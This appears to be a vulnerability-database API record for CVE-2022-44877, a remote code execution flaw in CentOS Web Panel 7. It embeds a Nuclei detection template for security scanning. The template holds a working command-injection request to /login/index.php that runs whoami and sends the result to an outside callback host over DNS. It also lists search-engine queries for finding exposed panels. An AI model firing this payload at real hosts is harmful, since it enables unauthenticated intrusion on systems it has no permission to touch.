{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-44877/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-44877/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-44877/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-44877/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-44877/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-44877"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-44877"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2022/CVE-2022-44877.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2022-44877\n\ninfo:\n  name: CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution\n  author: For3stCo1d\n  severity: critical\n  description: |\n    CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade to CentOS Web Panel version 0.9.8.1147 or later to mitigate this vulnerability.\n  reference:\n    - https://twitter.com/_0xf4n9x_/status/1612068225046675457\n    - https://github.com/numanturle/CVE-2022-44877\n    - https://gist.github.com/numanturle/c1e82c47f4cba24cff214e904c227386\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-44877\n    - http://packetstormsecurity.com/files/171725/Control-Web-Panel-7-CWP7-0.9.8.1147-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-44877\n    cwe-id: CWE-78\n    epss-score: 0.99995\n    epss-percentile: 0.99987\n    cpe: cpe:2.3:a:control-webpanel:webpanel:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: control-webpanel\n    product: webpanel\n    shodan-query:\n      - http.title:\"Login | Control WebPanel\"\n      - http.title:\"login | control webpanel\"\n    fofa-query: title=\"login | control webpanel\"\n    google-query: intitle:\"login | control webpanel\"\n  tags: cve,cve2022,packetstorm,centos,rce,kev,control-webpanel,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username=root&password=toor&commit=Login\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - \"Login Redirect.\"\n\n      - type: status\n        status:\n          - 302\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - '([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+'\n        part: interactsh_request\n# digest: 490a0046304402204411f4159736476fff6ff38a909382635545e4e919f9beef581ec68cfa4a60bf022053be4ed1ca222a5741ed20a5c8d4a1c922ca2caa9ba43cf0a61676766559fe89:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2022-44877"
}